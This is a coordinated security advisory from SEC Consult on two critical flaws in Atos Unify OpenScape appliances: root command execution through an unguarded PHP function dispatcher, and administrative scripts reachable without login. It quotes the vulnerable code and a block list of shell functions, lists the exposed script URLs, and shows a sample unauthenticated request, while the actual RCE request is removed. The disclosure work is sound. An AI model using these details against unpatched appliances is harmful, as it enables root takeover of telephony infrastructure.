SEC Consult Vulnerability Lab Security Advisory < 20230918-0 > ======================================================================= title: Authenticated Remote Code Execution and Missing Authentication product: Atos Unify OpenScape Session Border Controller Atos Unify OpenScape Branch Atos Unify OpenScape BCF vulnerable version: OpenScape SBC before V10 R3.3.0 OpenScape Branch V10 before V10 R3.3.0 OpenScape BCF V10 before V10 R10.10.0 fixed version: OpenScape SBC V10 >=R3.3.0 OpenScape Branch V10 >=R3.3.0 OpenScape BCF V10 >=R10.10.0 CVE number: CVE-2023-36618, CVE-2023-36619 impact: critical homepage: https://unify.com found: 2023-04-21 by: Armin Weihbold (Office Linz) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Unify is is the Atos brand for communication and collaboration solutions Unify is the newest member of the Atos family, combining Atos’ knowledge and reputation in the IT services market with Unify’s expertise in unified communications and collaboration to provide customers with seamless services solutions for their entire digital portfolio. Within Atos, Unify continues to deliver a unique integrated proposition for unified communications and real time capabilities." Source: https://unify.com/en/expert/unify Business recommendation: ------------------------ SEC Consult recommends users of the affected products to install the latest update. Furthermore, an in-depth security analysis performed by security professionals is highly advised, as the software may be affected from other security issues. Vulnerability overview/description: ----------------------------------- 1) Authenticated Remote Code Execution (CVE-2023-36618) The API of the administrative web application insufficiently validates the input of authenticated users at the server. This leads to the possibility of executing arbitrary PHP functions (with some defined exceptions) and subsequently operating system level commands with root privileges. A low-privileged ReadOnly role is sufficient to exploit this security issue. 2) Missing Authentication (CVE-2023-36619) A number of scripts that are used to administer the appliance can be accessed or executed unauthenticated via the web server. Proof of concept: ----------------- 1) Authenticated Remote Code Execution (CVE-2023-36618) A large part of the application is built according to the scheme in the following listing. Some functions are defined and at the end the function `callMainFunction` is called, which takes care of processing POST data. ----------------------------------------------------------------------- <?php require_once '../core/CoreAPI.php'; function tempSessionAcdQueue($args = null) { [...SNIP...] } function getAcdQueueInfo($args = null) { [...SNIP...] } // calls function which will handle the Post requests callMainFunction(); ----------------------------------------------------------------------- `callMainFunction` in `/srv/www/htdocs/core/CoreAPI.php` essentially calls arbitrary functions with arbitrary arguments passed via POST parameters, and only tests beforehand whether or not they are in a list of forbidden functions (`cfgUtilCheckMethod`) and whether the user is authenticated: ----------------------------------------------------------------------- <?php [...] require_once 'cfgUtil.php'; [...] function callMainFunction () { $func = ( isset($_POST['method']) ) ? trim(cfgUtilGetPostData('method')) : null ; if (cfgUtilCheckMethod($func)) return; $args = ( isset($_POST['args']) ) ? cfgUtilSanitizePostArgs(json_decode($_POST['args'], true)) : null ; [...] if ( function_exists($func) && is_callable($func) ) { @session_start(); if (!isset($_SESSION["Authenticated"]) || ($_SESSION["Authenticated"] == false)) { session_destroy(); [...] } else { if ( $args != null ) $func($args); else $func(); } } } ----------------------------------------------------------------------- Then `cfgUtilCheckMethod` in `/srv/www/htdocs/core/cfgUtil.php` checks for a number of dangerous functions which should get blocked: ----------------------------------------------------------------------- function cfgUtilCheckMethod($func) { if (isset($func)) { // block methods $methods = array( [...] “eval”, “exec”, [...] “shell_exec”, [...] “system”, ); if (in_array($func, $methods)) return 1; } return 0; } ----------------------------------------------------------------------- What has been forgotten here are the functions provided by cfgUtil.php itself like `cfgUtilExecute`, `cfgUtilShellExec` and especially `cfgUtilShellExecSudo`, `cfgUtilSetPermExecSudo` and `cfgUtilExecSudo`. These functions allow an authenticated attacker (a ReadOnly role is sufficient for this) to execute arbitrary commands as root user on the appliance. ----------------------------------------------------------------------- function cfgUtilShellExecSudo( $command, $escape = TRUE, $supressLog = FALSE ) { $newcommand=$command; if ( $escape == TRUE ) $newcommand = escapeshellcmd($command); if ( ($newcommand != $command) and ($supressLog != TRUE ) ) osb_log(E_WARNING, debug_backtrace()[1][‘function’]. “(): The command: “ . $command . “ is not equivalent to: “ . $newcommand); $retvalue = trim(shell_exec(‘/usr/bin/sudo ‘ . $newcommand )); return $retvalue; } ----------------------------------------------------------------------- To demonstrate the RCE vulnerability, it is sufficient to send a request like the following to any endpoint that calls `callMainFunction` like in: [PoC URL removed] ----------------------------------------------------------------------- [PoC POST request removed] ----------------------------------------------------------------------- The server response indicates a successful request: ----------------------------------------------------------------------- HTTP/1.1 200 OK Date: Fri, 21 Apr 2023 10:22:42 GMT Server: Apache X-Frame-Options: SAMEORIGIN Expires: 0 Cache-Control: max-age=0, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 ----------------------------------------------------------------------- If we now list the contents of the `/tmp` directory on the server, we see that the file `root_from_ro` was created by the root user: ----------------------------------------------------------------------- user@server:/tmp> ls -al [...] -rw-r--r-- 1 root root 0 Apr 21 10:22 root_from_ro ----------------------------------------------------------------------- 2) Missing Authentication (CVE-2023-36619) The following scripts, which are executable without authentication and do not expect command line arguments, could be identified. For this, heuristic methods based on the source code were used. In particular, scripts were searched that do not use any of the normally used authentication methods and do not only consist of classes. - https://hostname/core/configuringInBackground.php - https://hostname/core/downloadProfiles.php - https://hostname/core/hello_world.php - https://hostname/core/scripts/applyZooServerData.php - https://hostname/core/scripts/cfgGenUpdateSSPStatusTable.php - https://hostname/core/scripts/checkcardsDbHw.php - https://hostname/core/scripts/config1.php - https://hostname/core/scripts/recover.php - https://hostname/core/scripts/start.php - https://hostname/core/scripts/startPre.php - https://hostname/core/shutdown.php - https://hostname/data/sipLbInfo.php - https://hostname/data/turnInfo.php The following demonstrates an execution. The following request is sent to the appliance: ----------------------------------------------------------------------- GET /core/scripts/start.php HTTP/1.1 Host: hostname Upgrade-Insecure-Requests: 1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://hostname/acd.html Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close ----------------------------------------------------------------------- In the successful response, the time is highlighted to compare with the PHP log: ----------------------------------------------------------------------- HTTP/1.1 200 OK Date: Thu, 20 Apr 2023 11:47:34 GMT Server: Apache X-Frame-Options: SAMEORIGIN Cache-Control: max-age=0, must-revalidate Pragma: no-cache Expires: 0 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 ----------------------------------------------------------------------- In the PHP log you will now find the following output, which shows that this script is used for configuring and starting the appliance and was actually executed: ----------------------------------------------------------------------- 2023-04-20T11:47:34+00:00 [notice] PHP Notice: --------------------------------------- in /srv/www/htdocs/core/scripts/start.php on line 33 [...] ---------- Running start.php ---------- in /srv/www/htdocs/core/scripts/start.php on line 34 [...] --------------------------------------- in /srv/www/htdocs/core/scripts/start.php on line 35 [...] Loading XML in /srv/www/htdocs/core/scripts/start.php on line 61 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 599 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 600 [...] ---------- Running start() OSS ----------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 601 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 602 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 603 [...] Starting start() OSS in /srv/www/htdocs/core/ConfigMgrOSS.php on line 607 [...] Active partition: 4 /dev/sda6 in /srv/www/htdocs/core/ConfigMgrOSS.php on line 613 [...] Calling hookStart start in /srv/www/htdocs/core/ConfigMgrOSS.php on line 622 [...] Configuring Alarm in /srv/www/htdocs/core/ConfigMgrOSS.php on line 626 [...] Configuring Node for Redundancy in /srv/www/htdocs/core/ConfigMgrOSS.php on line 630 [...] Red. Selection cleared (standlone)... in /srv/www/htdocs/core/NetServicesData.php on line 162 [...] Redundant Node 1 removed in /srv/www/htdocs/core/NetServicesData.php on line 163 [...] Redundant Node 2 removed in /srv/www/htdocs/core/NetServicesData.php on line 164 [...] Configuring Watchdog in /srv/www/htdocs/core/ConfigMgrOSS.php on line 640 [...] Configuring irqBalance in /srv/www/htdocs/core/ConfigMgrOSS.php on line 644 [...] Configuring OpenVmWare in /srv/www/htdocs/core/ConfigMgrOSS.php on line 648 [...] Configuring RADIUS in /srv/www/htdocs/core/ConfigMgrOSS.php on line 662 [...] Configuring SSH Public Keys in /srv/www/htdocs/core/ConfigMgrOSS.php on line 666 [...] Configuring IP Aliases in /srv/www/htdocs/core/ConfigMgrOSS.php on line 671 [...] Configuring Traffic Shaping in /srv/www/htdocs/core/ConfigMgrOSS.php on line 679 [...] Configuring Zookeeper Client in /srv/www/htdocs/core/ConfigMgrOSS.php on line 688 [...] Configuring RTP Proxy in /srv/www/htdocs/core/ConfigMgrOSS.php on line 693 [...] Configuring SSM in /srv/www/htdocs/core/ConfigMgrOSS.php on line 697 [...] Configuring SipServer in /srv/www/htdocs/core/ConfigMgrOSS.php on line 705 [...] UA WhiteList: in /srv/www/htdocs/core/cfgSipServerSP.php on line 2896 [...] simplexml_load_file( /osb/var/mngmt/xml/running/config_20_20230223T115247.xml ) in /srv/www/htdocs/core/PersistenceMgr.php on line 520 [...] Circuit feature enabled ? 0 in /srv/www/htdocs/core/AnsibleData.php on line 42 [...] New xml cache file created daec97748bc1828d8514ee16e200a834 in /srv/www/htdocs/core/PersistenceMgr.php on line 1883 [...] Locking SSP Register in /srv/www/htdocs/core/cfgSipServerOSS.php on line 2682 [...] SipServer configuration changed. in /srv/www/htdocs/core/cfgSipServerSP.php on line 2595 [...] Configuring Media Server in /srv/www/htdocs/core/ConfigMgrOSS.php on line 726 [...] Configuring IPSec in /srv/www/htdocs/core/ConfigMgrOSS.php on line 734 [...] Configuring VPN in /srv/www/htdocs/core/ConfigMgrOSS.php on line 741 [...] Configuring Certificate Management in /srv/www/htdocs/core/ConfigMgrOSS.php on line 745 [...] Configuring Web Secure Management in /srv/www/htdocs/core/ConfigMgrOSS.php on line 749 [...] Configuring TURN Server in /srv/www/htdocs/core/ConfigMgrOSS.php on line 754 [...] Configuring Sip Loadbalancer in /srv/www/htdocs/core/ConfigMgrOSS.php on line 759 [...] Configuring GTC Loader in /srv/www/htdocs/core/ConfigMgrOSS.php on line 764 [...] Configuring GTC Node app in /srv/www/htdocs/core/ConfigMgrOSS.php on line 769 [...] Configuring Serviceability in /srv/www/htdocs/core/ConfigMgrOSS.php on line 774 [...] Configuring QoS Send Trap in /srv/www/htdocs/core/ConfigMgrOSS.php on line 779 [...] Configuring Push Notification in /srv/www/htdocs/core/ConfigMgrOSS.php on line 784 [...] Configuring Branding in /srv/www/htdocs/core/ConfigMgrOSS.php on line 797 [...] Calling hookStart stop in /srv/www/htdocs/core/ConfigMgrOSS.php on line 800 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 838 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 839 [...] ---------- Done start() OSS ----------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 840 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 841 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 842 [...] --------------------------------------- in /srv/www/htdocs/core/scripts/start.php on line 77 [...] ---------- Done start.php (0) --------- in /srv/www/htdocs/core/scripts/start.php on line 78 [...] --------------------------------------- in /srv/www/htdocs/core/scripts/start.php on line 79 [...] ----------------------------------------------------------------------- Vulnerable / tested versions: ----------------------------- The following version has been tested which was the latest version available at the time of the test: * OpenScape Session Border Controller Firmware Version V10 R3.01.03 According to vendor, versions before V10 R3.3.0 are affected as well. The vendor confirmed that the following other products are vulnerable as well: * OpenScape Branch version before V10 R3.3.0 * OpenScape BCF version before V10 R10.10.0 Vendor contact timeline: ------------------------ 2023-06-12: Contacting vendor through email obso@atos.net; sending encrypted advisory (S/MIME) 2023-06-15: Call with vendor, discussing release and timeline. Requesting CVE numbers through MITRE. 2023-06-28: Vendor provides update regarding timeline / patch availability and affected products. Sending received CVE numbers to vendor. 2023-06-29: Vendor provides draft of their security advisory including planned release dates of patched versions. Giving feedback. Receiving download URL from vendor. 2023-07-04: Receiving updated version of vendor security advisory, providing some more feedback/minor fixes. 2023-07-06: Vendor releases security advisory and patches. 2023-09-18: Coordinated release of advisory Solution: --------- The vendor provides a patch for the affected products: * OpenScape Session Border Controller Firmware Version V10 >=R3.3.0 * OpenScape Branch version V10 >=R3.3.0 * OpenScape BCF version V10 >=R10.10.0 The patches can be obtained for registered customers through the vendor's download server: https://sws.unify.com/SWSIntranet/SWSIntra.aspx or via https://unify.com/en/partner/partnerportal https://unify.com/en/support/kunden-support-portal Furthermore, the vendor has also released a security advisory which is available here: https://networks.unify.com/security/advisories/OBSO-2307-01.pdf Workaround: ----------- Limit access to the administrative web application to authorized personnel on the network level. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF A. Weihbold / @2023